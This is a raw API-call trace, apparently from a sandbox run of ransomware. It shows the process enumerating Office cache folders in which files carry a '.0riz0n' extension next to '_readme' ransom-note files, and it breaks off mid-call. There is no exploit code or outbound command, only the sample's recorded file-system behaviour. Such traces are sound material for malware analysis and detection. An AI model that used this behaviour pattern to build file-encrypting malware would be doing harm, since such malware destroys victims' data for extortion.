1 [0140.554] NtClose (Handle=0x198) returned 0x0 [0140.554] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9869e8) returned 1 [0140.554] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.554] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.554] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9869e8 [0140.554] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.554] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x986af0 [0140.555] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829b38 [0140.629] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4187b4f0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x4187b4f0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.629] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab.0riz0n", cAlternateFileName="")) returned 1 [0140.630] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.630] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.630] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41619ef0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x41619ef0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x442, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.630] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.630] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.630] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.630] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.630] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi.0riz0n", cAlternateFileName="")) returned 1 [0140.630] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.630] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.630] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4182f230, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x4182f230, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.630] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.630] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.630] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.630] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.630] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.0riz0n", cAlternateFileName="")) returned 1 [0140.630] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.630] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.630] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4187b4f0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x4187b4f0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.630] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.630] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.630] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.630] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.630] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4187b4f0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x4187b4f0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.0riz0n_readme", cAlternateFileName="")) returned 0 [0140.630] GetLastError () returned 0x12 [0140.630] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829bb8 [0140.631] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0140.631] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4187b4f0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x4187b4f0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.631] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab.0riz0n", cAlternateFileName="")) returned 1 [0140.631] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41619ef0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x41619ef0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x442, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.631] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi.0riz0n", cAlternateFileName="")) returned 1 [0140.631] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4182f230, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x4182f230, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.631] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.0riz0n", cAlternateFileName="")) returned 1 [0140.631] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4187b4f0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x4187b4f0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.631] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4187b4f0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x4187b4f0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.0riz0n_readme", cAlternateFileName="")) returned 0 [0140.631] GetLastError () returned 0x12 [0140.631] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986af0) returned 1 [0140.631] FindClose (in: hFindFile=0x829bb8 | out: hFindFile=0x829bb8) returned 1 [0140.632] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.632] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9869e8) returned 1 [0140.632] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x427ce290, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x427ce290, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0140.632] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9869e8 [0140.632] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x427ce290, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x427ce290, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0140.650] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0140.650] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0140.651] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0140.651] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0140.651] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0140.651] NtClose (Handle=0x19c) returned 0x0 [0140.651] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9869e8) returned 1 [0140.651] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.651] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.651] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9869e8 [0140.651] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.651] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x986af0 [0140.651] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829bb8 [0140.678] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x427ce290, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x427ce290, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.678] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab.0riz0n", cAlternateFileName="")) returned 1 [0140.678] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.678] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.679] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x426514d0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x426514d0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.679] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.679] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.679] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.679] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.679] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi.0riz0n", cAlternateFileName="")) returned 1 [0140.679] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.679] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.679] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x427a8130, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x427a8130, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.679] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.679] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.679] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.679] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.679] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.0riz0n", cAlternateFileName="")) returned 1 [0140.679] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.679] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.679] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x427ce290, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x427ce290, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.679] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.679] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.679] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.679] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.679] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x427ce290, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x427ce290, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.0riz0n_readme", cAlternateFileName="")) returned 0 [0140.679] GetLastError () returned 0x12 [0140.679] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829b38 [0140.679] FindClose (in: hFindFile=0x829bb8 | out: hFindFile=0x829bb8) returned 1 [0140.679] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x427ce290, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x427ce290, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.680] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab.0riz0n", cAlternateFileName="")) returned 1 [0140.680] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x426514d0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x426514d0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.680] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi.0riz0n", cAlternateFileName="")) returned 1 [0140.680] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x427a8130, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x427a8130, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.680] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.0riz0n", cAlternateFileName="")) returned 1 [0140.680] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x427ce290, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x427ce290, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.680] FindNextFileW (in: 